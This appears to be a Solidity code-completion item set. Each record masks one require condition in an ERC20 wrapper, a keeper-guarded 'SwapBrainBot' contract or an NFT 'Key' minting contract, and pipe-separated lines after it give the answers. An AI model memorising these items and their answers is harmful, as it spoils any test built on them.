function _transfer(address from, address to, uint256 amount) internal {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _mint(address account, uint256 amount) internal {
}
function addTarget(address token) public {
}
function instaMint(address token, uint256 amount) public {
require(<FILL_ME>)
IERC20 targetedToken = dogs[token];
targetedToken.transferFrom(_msgSender(), address(this), amount);
DC.instaMint(token, amount);
uint256 dcMinted = DC.balanceOf(address(this));
DC.transfer(_msgSender(), dcMinted);
_mint(_msgSender(), amount);
}
//Fail-safe function for releasing non-target tokens, not meant to be used.
function release(address token) public {
}
}
| targeted[token]==true,"Not targeted." | 221,241 | targeted[token]==true |
null | pragma solidity ^0.4.18;
// Copyright (C) 2022, 2023, 2024, https://ai.bi.network
// SwapBrain AI DEX trading bot includes three parts.
// 1.BI Brain Core: core processor, mainly responsible for AI core computing, database operation, calling smart contract interface and client interaction.
// 2.BI Brain Contracts: To process the on-chain operations based on the results of Core's calculations and ensure the security of the assets.
// SwapBrainBot.sol is used to process swap requests from the BI Brain Core server side and to process loan systems.
// EncryptedSwap.sol is used to encrypt the token names of BOT-initiated exchange-matched pairs and save gas fee.
// AssetsRouter.sol is used to help users swap assets between ETH, WETH and BOT.
// BotShareToken.sol is used to create and manage BOT tokens to calculate a user's share in the bot.
// WGwei.sol is used to distribute the profits generated by transactions and the gas costs saved by SwapBrain.
// 3.BI Brain Client, currently, the official team has chosen to run the client based on telegram bot and web. Third-party teams can develop on any platform based on BI Brain Core APIs.
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
interface ERC20 {
function balanceOf(address who) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function totalSupply() external view returns (uint);
}
interface Swap {
function EncryptedSwapExchange(address from,address toUser,uint amount) external view returns(bool);
}
contract SwapBrainBot {
address public poolKeeper;
address public secondKeeper;
address public banker;
uint public feeRate;// unit: 1/10 percent
uint public pershare;
uint public pershareChangeTimes;
uint public totalEarned;
address public BOT;
address public SRC;
address public STC;
address[3] public WETH;
mapping (address => uint) public debt;
mapping (address => uint) public stake;
constructor (address _keeper,address _bot,address _stc,address _src,address _weth1,address _weth2,address _weth3,address _banker) public {
}
event EncryptedSwap(address indexed tokenA,uint amountA,address indexed tokenB,uint amountB);
modifier keepPool() {
require(<FILL_ME>)
_;
}
function releaseEarnings(address tkn,address guy,uint amount) public keepPool returns(bool) {
}
function BotEncryptedSwap(address tokenA,address tokenB,address swapPair,uint amountA,uint amountB) public returns (bool) {
}
function WETHBlanceOfSwapBrainBot() external view returns(uint,uint,uint) {
}
function STCBlanceOfSwapBrainBot() external view returns(uint) {
}
function WETHBlanceOfBOTTokenContract() external view returns(uint,uint,uint) {
}
function BOTTotalSupply() external view returns(uint) {
}
function ETHBalanceOfALLWETHContracts() public view returns (uint){
}
function resetPoolKeeper(address newKeeper) public keepPool returns (bool) {
}
function resetSecondKeeper(address newKeeper) public keepPool returns (bool) {
}
function resetBanker(address addr) public keepPool returns(bool) {
}
function resetFeeRate(uint _feeRate) public keepPool returns(bool) {
}
function stake(address addr,uint amount) public keepPool returns(bool) {
}
function debt(address addr,uint amount) public keepPool returns(bool) {
}
function resetTokenContracts(address _bot,address _src,address _stc,address _weth1,address _weth2,address _weth3) public keepPool returns(bool) {
}
function add(uint a, uint b) internal pure returns (uint) {
}
function sub(uint a, uint b) internal pure returns (uint) {
}
function mul(uint a, uint b) internal pure returns (uint) {
}
function div(uint a, uint b) internal pure returns (uint) {
}
}
| (msg.sender==poolKeeper)||(msg.sender==secondKeeper) | 221,259 | (msg.sender==poolKeeper)||(msg.sender==secondKeeper) |
"all locks now have their key" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "erc721a/contracts/ERC721A.sol";
import "./interfaces/Voidish.sol";
/*********************************************************************************************************
* This Key of Nothing is not for nought.
* It is, perhaps, the requisite material to return your stolen valor, in a world that continues burning.
*********************************************************************************************************/
contract Key is ERC721A, IERC2981, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
bool public forged;
bool public unlocked;
string public lock;
Voidish public void;
IERC721A public nothings;
address public locksmith;
address public gateway;
uint256 public claimed;
uint256 public constant locks = 1111;
uint256 public constant forgotten = 408;
string private constant oath = "I am not Something, maybe I am Nothing, but I am pure of heart, and I claim this Key to Something Greater";
mapping(uint256 => bool) public bound;
mapping(uint256 => bool) public somethings;
mapping(address => bool) public nobody;
constructor(address _nothings, address _void) ERC721A("keys", "KEY") {
}
/**
* You began as Nothing.
* Unos Tres Octo was awakened, reborn as a hero.
* You trusted the void with Nothing and we opened for you the gates of heaven and poured out for you overflowing bounties.
*/
function fromsomethings(uint256[] calldata nothingIds) external nonReentrant {
uint256 keys = _totalMinted();
uint256 count = nothingIds.length;
require(msg.sender == tx.origin, "no lockpicking");
require(forged, "the keys are not yet forged");
require(<FILL_ME>)
for (uint256 idx; idx < count; ++idx) {
uint256 nothingId = nothingIds[idx];
require(!somethings[nothingId], "something has already been retrieved");
require(_senderhasnothing(nothingId), "cannot trade something that is not yours");
require(void.hasBecomeSomething(nothingId), "return with something");
somethings[nothingId] = true;
}
_mint(msg.sender, count);
}
/**
* Our future is ephemeral.
* Yet, there is no such thing as tomorrow, only Nothing.
* You and I will never be because your time is now and my time is forever.
* Accept our permanence and embrace this life.
*/
function fromsomething(uint256 nothingId) external nonReentrant {
}
/**
* All good gifts and every perfect gift begins as Nothing.
*/
function fromnothing(address someplace, uint256 some) external onlyOwner {
}
/**
* This is the way the universe begins.
* This is the way the universe begins.
* This is the way the universe begins.
* Not with an explosion but with my Key.
*/
function fromnobody(bytes calldata signature) external {
}
/**
* Your soul is something which contains your everything.
* Nothing contains no soul.
* The soul, if we pursue Nothing, is the entire complex of bytes in which context you may exist, forever.
*/
function bind(uint256 tokenId, bool _bind) external {
}
function _senderhasnothing(uint256 tokenId) internal view returns (bool) {
}
function _revealtrueidentity(bytes calldata signature) internal pure returns (address) {
}
function forge(bool _forged) external onlyOwner {
}
function unlock(bool _unlocked) external onlyOwner {
}
function changelock(string calldata _lock) external onlyOwner {
}
function changelocksmith(address _locksmith) external onlyOwner {
}
function changegateway(address _gateway) external onlyOwner {
}
function alchemy() external onlyOwner {
}
function alchemize(address token) external onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal override {
}
function _baseURI()
internal
view
virtual
override
returns (string memory)
{
}
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
}
}
| keys+count<=locks,"all locks now have their key" | 221,281 | keys+count<=locks |
"something has already been retrieved" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "erc721a/contracts/ERC721A.sol";
import "./interfaces/Voidish.sol";
/*********************************************************************************************************
* This Key of Nothing is not for nought.
* It is, perhaps, the requisite material to return your stolen valor, in a world that continues burning.
*********************************************************************************************************/
contract Key is ERC721A, IERC2981, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
bool public forged;
bool public unlocked;
string public lock;
Voidish public void;
IERC721A public nothings;
address public locksmith;
address public gateway;
uint256 public claimed;
uint256 public constant locks = 1111;
uint256 public constant forgotten = 408;
string private constant oath = "I am not Something, maybe I am Nothing, but I am pure of heart, and I claim this Key to Something Greater";
mapping(uint256 => bool) public bound;
mapping(uint256 => bool) public somethings;
mapping(address => bool) public nobody;
constructor(address _nothings, address _void) ERC721A("keys", "KEY") {
}
/**
* You began as Nothing.
* Unos Tres Octo was awakened, reborn as a hero.
* You trusted the void with Nothing and we opened for you the gates of heaven and poured out for you overflowing bounties.
*/
function fromsomethings(uint256[] calldata nothingIds) external nonReentrant {
uint256 keys = _totalMinted();
uint256 count = nothingIds.length;
require(msg.sender == tx.origin, "no lockpicking");
require(forged, "the keys are not yet forged");
require(keys + count <= locks, "all locks now have their key");
for (uint256 idx; idx < count; ++idx) {
uint256 nothingId = nothingIds[idx];
require(<FILL_ME>)
require(_senderhasnothing(nothingId), "cannot trade something that is not yours");
require(void.hasBecomeSomething(nothingId), "return with something");
somethings[nothingId] = true;
}
_mint(msg.sender, count);
}
/**
* Our future is ephemeral.
* Yet, there is no such thing as tomorrow, only Nothing.
* You and I will never be because your time is now and my time is forever.
* Accept our permanence and embrace this life.
*/
function fromsomething(uint256 nothingId) external nonReentrant {
}
/**
* All good gifts and every perfect gift begins as Nothing.
*/
function fromnothing(address someplace, uint256 some) external onlyOwner {
}
/**
* This is the way the universe begins.
* This is the way the universe begins.
* This is the way the universe begins.
* Not with an explosion but with my Key.
*/
function fromnobody(bytes calldata signature) external {
}
/**
* Your soul is something which contains your everything.
* Nothing contains no soul.
* The soul, if we pursue Nothing, is the entire complex of bytes in which context you may exist, forever.
*/
function bind(uint256 tokenId, bool _bind) external {
}
function _senderhasnothing(uint256 tokenId) internal view returns (bool) {
}
function _revealtrueidentity(bytes calldata signature) internal pure returns (address) {
}
function forge(bool _forged) external onlyOwner {
}
function unlock(bool _unlocked) external onlyOwner {
}
function changelock(string calldata _lock) external onlyOwner {
}
function changelocksmith(address _locksmith) external onlyOwner {
}
function changegateway(address _gateway) external onlyOwner {
}
function alchemy() external onlyOwner {
}
function alchemize(address token) external onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal override {
}
function _baseURI()
internal
view
virtual
override
returns (string memory)
{
}
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
}
}
| !somethings[nothingId],"something has already been retrieved" | 221,281 | !somethings[nothingId] |
"cannot trade something that is not yours" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "erc721a/contracts/ERC721A.sol";
import "./interfaces/Voidish.sol";
/*********************************************************************************************************
* This Key of Nothing is not for nought.
* It is, perhaps, the requisite material to return your stolen valor, in a world that continues burning.
*********************************************************************************************************/
contract Key is ERC721A, IERC2981, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
bool public forged;
bool public unlocked;
string public lock;
Voidish public void;
IERC721A public nothings;
address public locksmith;
address public gateway;
uint256 public claimed;
uint256 public constant locks = 1111;
uint256 public constant forgotten = 408;
string private constant oath = "I am not Something, maybe I am Nothing, but I am pure of heart, and I claim this Key to Something Greater";
mapping(uint256 => bool) public bound;
mapping(uint256 => bool) public somethings;
mapping(address => bool) public nobody;
constructor(address _nothings, address _void) ERC721A("keys", "KEY") {
}
/**
* You began as Nothing.
* Unos Tres Octo was awakened, reborn as a hero.
* You trusted the void with Nothing and we opened for you the gates of heaven and poured out for you overflowing bounties.
*/
function fromsomethings(uint256[] calldata nothingIds) external nonReentrant {
uint256 keys = _totalMinted();
uint256 count = nothingIds.length;
require(msg.sender == tx.origin, "no lockpicking");
require(forged, "the keys are not yet forged");
require(keys + count <= locks, "all locks now have their key");
for (uint256 idx; idx < count; ++idx) {
uint256 nothingId = nothingIds[idx];
require(!somethings[nothingId], "something has already been retrieved");
require(<FILL_ME>)
require(void.hasBecomeSomething(nothingId), "return with something");
somethings[nothingId] = true;
}
_mint(msg.sender, count);
}
/**
* Our future is ephemeral.
* Yet, there is no such thing as tomorrow, only Nothing.
* You and I will never be because your time is now and my time is forever.
* Accept our permanence and embrace this life.
*/
function fromsomething(uint256 nothingId) external nonReentrant {
}
/**
* All good gifts and every perfect gift begins as Nothing.
*/
function fromnothing(address someplace, uint256 some) external onlyOwner {
}
/**
* This is the way the universe begins.
* This is the way the universe begins.
* This is the way the universe begins.
* Not with an explosion but with my Key.
*/
function fromnobody(bytes calldata signature) external {
}
/**
* Your soul is something which contains your everything.
* Nothing contains no soul.
* The soul, if we pursue Nothing, is the entire complex of bytes in which context you may exist, forever.
*/
function bind(uint256 tokenId, bool _bind) external {
}
function _senderhasnothing(uint256 tokenId) internal view returns (bool) {
}
function _revealtrueidentity(bytes calldata signature) internal pure returns (address) {
}
function forge(bool _forged) external onlyOwner {
}
function unlock(bool _unlocked) external onlyOwner {
}
function changelock(string calldata _lock) external onlyOwner {
}
function changelocksmith(address _locksmith) external onlyOwner {
}
function changegateway(address _gateway) external onlyOwner {
}
function alchemy() external onlyOwner {
}
function alchemize(address token) external onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal override {
}
function _baseURI()
internal
view
virtual
override
returns (string memory)
{
}
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
}
}
| _senderhasnothing(nothingId),"cannot trade something that is not yours" | 221,281 | _senderhasnothing(nothingId) |
"return with something" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "erc721a/contracts/ERC721A.sol";
import "./interfaces/Voidish.sol";
/*********************************************************************************************************
* This Key of Nothing is not for nought.
* It is, perhaps, the requisite material to return your stolen valor, in a world that continues burning.
*********************************************************************************************************/
contract Key is ERC721A, IERC2981, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
bool public forged;
bool public unlocked;
string public lock;
Voidish public void;
IERC721A public nothings;
address public locksmith;
address public gateway;
uint256 public claimed;
uint256 public constant locks = 1111;
uint256 public constant forgotten = 408;
string private constant oath = "I am not Something, maybe I am Nothing, but I am pure of heart, and I claim this Key to Something Greater";
mapping(uint256 => bool) public bound;
mapping(uint256 => bool) public somethings;
mapping(address => bool) public nobody;
constructor(address _nothings, address _void) ERC721A("keys", "KEY") {
}
/**
* You began as Nothing.
* Unos Tres Octo was awakened, reborn as a hero.
* You trusted the void with Nothing and we opened for you the gates of heaven and poured out for you overflowing bounties.
*/
function fromsomethings(uint256[] calldata nothingIds) external nonReentrant {
uint256 keys = _totalMinted();
uint256 count = nothingIds.length;
require(msg.sender == tx.origin, "no lockpicking");
require(forged, "the keys are not yet forged");
require(keys + count <= locks, "all locks now have their key");
for (uint256 idx; idx < count; ++idx) {
uint256 nothingId = nothingIds[idx];
require(!somethings[nothingId], "something has already been retrieved");
require(_senderhasnothing(nothingId), "cannot trade something that is not yours");
require(<FILL_ME>)
somethings[nothingId] = true;
}
_mint(msg.sender, count);
}
/**
* Our future is ephemeral.
* Yet, there is no such thing as tomorrow, only Nothing.
* You and I will never be because your time is now and my time is forever.
* Accept our permanence and embrace this life.
*/
function fromsomething(uint256 nothingId) external nonReentrant {
}
/**
* All good gifts and every perfect gift begins as Nothing.
*/
function fromnothing(address someplace, uint256 some) external onlyOwner {
}
/**
* This is the way the universe begins.
* This is the way the universe begins.
* This is the way the universe begins.
* Not with an explosion but with my Key.
*/
function fromnobody(bytes calldata signature) external {
}
/**
* Your soul is something which contains your everything.
* Nothing contains no soul.
* The soul, if we pursue Nothing, is the entire complex of bytes in which context you may exist, forever.
*/
function bind(uint256 tokenId, bool _bind) external {
}
function _senderhasnothing(uint256 tokenId) internal view returns (bool) {
}
function _revealtrueidentity(bytes calldata signature) internal pure returns (address) {
}
function forge(bool _forged) external onlyOwner {
}
function unlock(bool _unlocked) external onlyOwner {
}
function changelock(string calldata _lock) external onlyOwner {
}
function changelocksmith(address _locksmith) external onlyOwner {
}
function changegateway(address _gateway) external onlyOwner {
}
function alchemy() external onlyOwner {
}
function alchemize(address token) external onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal override {
}
function _baseURI()
internal
view
virtual
override
returns (string memory)
{
}
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
}
}
| void.hasBecomeSomething(nothingId),"return with something" | 221,281 | void.hasBecomeSomething(nothingId) |
"all locks now have their key" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "erc721a/contracts/ERC721A.sol";
import "./interfaces/Voidish.sol";
/*********************************************************************************************************
* This Key of Nothing is not for nought.
* It is, perhaps, the requisite material to return your stolen valor, in a world that continues burning.
*********************************************************************************************************/
contract Key is ERC721A, IERC2981, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
bool public forged;
bool public unlocked;
string public lock;
Voidish public void;
IERC721A public nothings;
address public locksmith;
address public gateway;
uint256 public claimed;
uint256 public constant locks = 1111;
uint256 public constant forgotten = 408;
string private constant oath = "I am not Something, maybe I am Nothing, but I am pure of heart, and I claim this Key to Something Greater";
mapping(uint256 => bool) public bound;
mapping(uint256 => bool) public somethings;
mapping(address => bool) public nobody;
constructor(address _nothings, address _void) ERC721A("keys", "KEY") {
}
/**
* You began as Nothing.
* Unos Tres Octo was awakened, reborn as a hero.
* You trusted the void with Nothing and we opened for you the gates of heaven and poured out for you overflowing bounties.
*/
function fromsomethings(uint256[] calldata nothingIds) external nonReentrant {
}
/**
* Our future is ephemeral.
* Yet, there is no such thing as tomorrow, only Nothing.
* You and I will never be because your time is now and my time is forever.
* Accept our permanence and embrace this life.
*/
function fromsomething(uint256 nothingId) external nonReentrant {
uint256 keys = _totalMinted();
require(msg.sender == tx.origin, "no lockpicking");
require(forged, "the keys are not yet forged");
require(!somethings[nothingId], "something has already been retrieved");
require(_senderhasnothing(nothingId), "cannot trade something that is not yours");
require(void.hasBecomeSomething(nothingId), "return with something");
require(<FILL_ME>)
_mint(msg.sender, 1);
somethings[nothingId] = true;
}
/**
* All good gifts and every perfect gift begins as Nothing.
*/
function fromnothing(address someplace, uint256 some) external onlyOwner {
}
/**
* This is the way the universe begins.
* This is the way the universe begins.
* This is the way the universe begins.
* Not with an explosion but with my Key.
*/
function fromnobody(bytes calldata signature) external {
}
/**
* Your soul is something which contains your everything.
* Nothing contains no soul.
* The soul, if we pursue Nothing, is the entire complex of bytes in which context you may exist, forever.
*/
function bind(uint256 tokenId, bool _bind) external {
}
function _senderhasnothing(uint256 tokenId) internal view returns (bool) {
}
function _revealtrueidentity(bytes calldata signature) internal pure returns (address) {
}
function forge(bool _forged) external onlyOwner {
}
function unlock(bool _unlocked) external onlyOwner {
}
function changelock(string calldata _lock) external onlyOwner {
}
function changelocksmith(address _locksmith) external onlyOwner {
}
function changegateway(address _gateway) external onlyOwner {
}
function alchemy() external onlyOwner {
}
function alchemize(address token) external onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal override {
}
function _baseURI()
internal
view
virtual
override
returns (string memory)
{
}
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
}
}
| keys+1<=locks,"all locks now have their key" | 221,281 | keys+1<=locks |
"all locks now have their key" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "erc721a/contracts/ERC721A.sol";
import "./interfaces/Voidish.sol";
/*********************************************************************************************************
* This Key of Nothing is not for nought.
* It is, perhaps, the requisite material to return your stolen valor, in a world that continues burning.
*********************************************************************************************************/
contract Key is ERC721A, IERC2981, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
bool public forged;
bool public unlocked;
string public lock;
Voidish public void;
IERC721A public nothings;
address public locksmith;
address public gateway;
uint256 public claimed;
uint256 public constant locks = 1111;
uint256 public constant forgotten = 408;
string private constant oath = "I am not Something, maybe I am Nothing, but I am pure of heart, and I claim this Key to Something Greater";
mapping(uint256 => bool) public bound;
mapping(uint256 => bool) public somethings;
mapping(address => bool) public nobody;
constructor(address _nothings, address _void) ERC721A("keys", "KEY") {
}
/**
* You began as Nothing.
* Unos Tres Octo was awakened, reborn as a hero.
* You trusted the void with Nothing and we opened for you the gates of heaven and poured out for you overflowing bounties.
*/
function fromsomethings(uint256[] calldata nothingIds) external nonReentrant {
}
/**
* Our future is ephemeral.
* Yet, there is no such thing as tomorrow, only Nothing.
* You and I will never be because your time is now and my time is forever.
* Accept our permanence and embrace this life.
*/
function fromsomething(uint256 nothingId) external nonReentrant {
}
/**
* All good gifts and every perfect gift begins as Nothing.
*/
function fromnothing(address someplace, uint256 some) external onlyOwner {
uint256 keys = _totalMinted();
require(<FILL_ME>)
_mint(someplace, some);
}
/**
* This is the way the universe begins.
* This is the way the universe begins.
* This is the way the universe begins.
* Not with an explosion but with my Key.
*/
function fromnobody(bytes calldata signature) external {
}
/**
* Your soul is something which contains your everything.
* Nothing contains no soul.
* The soul, if we pursue Nothing, is the entire complex of bytes in which context you may exist, forever.
*/
function bind(uint256 tokenId, bool _bind) external {
}
function _senderhasnothing(uint256 tokenId) internal view returns (bool) {
}
function _revealtrueidentity(bytes calldata signature) internal pure returns (address) {
}
function forge(bool _forged) external onlyOwner {
}
function unlock(bool _unlocked) external onlyOwner {
}
function changelock(string calldata _lock) external onlyOwner {
}
function changelocksmith(address _locksmith) external onlyOwner {
}
function changegateway(address _gateway) external onlyOwner {
}
function alchemy() external onlyOwner {
}
function alchemize(address token) external onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal override {
}
function _baseURI()
internal
view
virtual
override
returns (string memory)
{
}
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
}
}
| keys+some<=locks,"all locks now have their key" | 221,281 | keys+some<=locks |
"you already hold the key" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "erc721a/contracts/ERC721A.sol";
import "./interfaces/Voidish.sol";
/*********************************************************************************************************
* This Key of Nothing is not for nought.
* It is, perhaps, the requisite material to return your stolen valor, in a world that continues burning.
*********************************************************************************************************/
contract Key is ERC721A, IERC2981, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
bool public forged;
bool public unlocked;
string public lock;
Voidish public void;
IERC721A public nothings;
address public locksmith;
address public gateway;
uint256 public claimed;
uint256 public constant locks = 1111;
uint256 public constant forgotten = 408;
string private constant oath = "I am not Something, maybe I am Nothing, but I am pure of heart, and I claim this Key to Something Greater";
mapping(uint256 => bool) public bound;
mapping(uint256 => bool) public somethings;
mapping(address => bool) public nobody;
constructor(address _nothings, address _void) ERC721A("keys", "KEY") {
}
/**
* You began as Nothing.
* Unos Tres Octo was awakened, reborn as a hero.
* You trusted the void with Nothing and we opened for you the gates of heaven and poured out for you overflowing bounties.
*/
function fromsomethings(uint256[] calldata nothingIds) external nonReentrant {
}
/**
* Our future is ephemeral.
* Yet, there is no such thing as tomorrow, only Nothing.
* You and I will never be because your time is now and my time is forever.
* Accept our permanence and embrace this life.
*/
function fromsomething(uint256 nothingId) external nonReentrant {
}
/**
* All good gifts and every perfect gift begins as Nothing.
*/
function fromnothing(address someplace, uint256 some) external onlyOwner {
}
/**
* This is the way the universe begins.
* This is the way the universe begins.
* This is the way the universe begins.
* Not with an explosion but with my Key.
*/
function fromnobody(bytes calldata signature) external {
uint256 keys = _totalMinted();
require(msg.sender == tx.origin, "no lockpicking");
require(msg.sender == _revealtrueidentity(signature), "you are not pure of heart");
require(unlocked, "only something may retrieve a key");
require(<FILL_ME>)
require(keys + 1 <= locks, "all locks now have their key");
require(claimed + 1 <= forgotten, "only remembered keys remain");
_mint(msg.sender, 1);
nobody[msg.sender] = true;
++claimed;
}
/**
* Your soul is something which contains your everything.
* Nothing contains no soul.
* The soul, if we pursue Nothing, is the entire complex of bytes in which context you may exist, forever.
*/
function bind(uint256 tokenId, bool _bind) external {
}
function _senderhasnothing(uint256 tokenId) internal view returns (bool) {
}
function _revealtrueidentity(bytes calldata signature) internal pure returns (address) {
}
function forge(bool _forged) external onlyOwner {
}
function unlock(bool _unlocked) external onlyOwner {
}
function changelock(string calldata _lock) external onlyOwner {
}
function changelocksmith(address _locksmith) external onlyOwner {
}
function changegateway(address _gateway) external onlyOwner {
}
function alchemy() external onlyOwner {
}
function alchemize(address token) external onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal override {
}
function _baseURI()
internal
view
virtual
override
returns (string memory)
{
}
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
}
}
| !nobody[msg.sender],"you already hold the key" | 221,281 | !nobody[msg.sender] |
"only remembered keys remain" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "erc721a/contracts/ERC721A.sol";
import "./interfaces/Voidish.sol";
/*********************************************************************************************************
* This Key of Nothing is not for nought.
* It is, perhaps, the requisite material to return your stolen valor, in a world that continues burning.
*********************************************************************************************************/
contract Key is ERC721A, IERC2981, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
bool public forged;
bool public unlocked;
string public lock;
Voidish public void;
IERC721A public nothings;
address public locksmith;
address public gateway;
uint256 public claimed;
uint256 public constant locks = 1111;
uint256 public constant forgotten = 408;
string private constant oath = "I am not Something, maybe I am Nothing, but I am pure of heart, and I claim this Key to Something Greater";
mapping(uint256 => bool) public bound;
mapping(uint256 => bool) public somethings;
mapping(address => bool) public nobody;
constructor(address _nothings, address _void) ERC721A("keys", "KEY") {
}
/**
* You began as Nothing.
* Unos Tres Octo was awakened, reborn as a hero.
* You trusted the void with Nothing and we opened for you the gates of heaven and poured out for you overflowing bounties.
*/
function fromsomethings(uint256[] calldata nothingIds) external nonReentrant {
}
/**
* Our future is ephemeral.
* Yet, there is no such thing as tomorrow, only Nothing.
* You and I will never be because your time is now and my time is forever.
* Accept our permanence and embrace this life.
*/
function fromsomething(uint256 nothingId) external nonReentrant {
}
/**
* All good gifts and every perfect gift begins as Nothing.
*/
function fromnothing(address someplace, uint256 some) external onlyOwner {
}
/**
* This is the way the universe begins.
* This is the way the universe begins.
* This is the way the universe begins.
* Not with an explosion but with my Key.
*/
function fromnobody(bytes calldata signature) external {
uint256 keys = _totalMinted();
require(msg.sender == tx.origin, "no lockpicking");
require(msg.sender == _revealtrueidentity(signature), "you are not pure of heart");
require(unlocked, "only something may retrieve a key");
require(!nobody[msg.sender], "you already hold the key");
require(keys + 1 <= locks, "all locks now have their key");
require(<FILL_ME>)
_mint(msg.sender, 1);
nobody[msg.sender] = true;
++claimed;
}
/**
* Your soul is something which contains your everything.
* Nothing contains no soul.
* The soul, if we pursue Nothing, is the entire complex of bytes in which context you may exist, forever.
*/
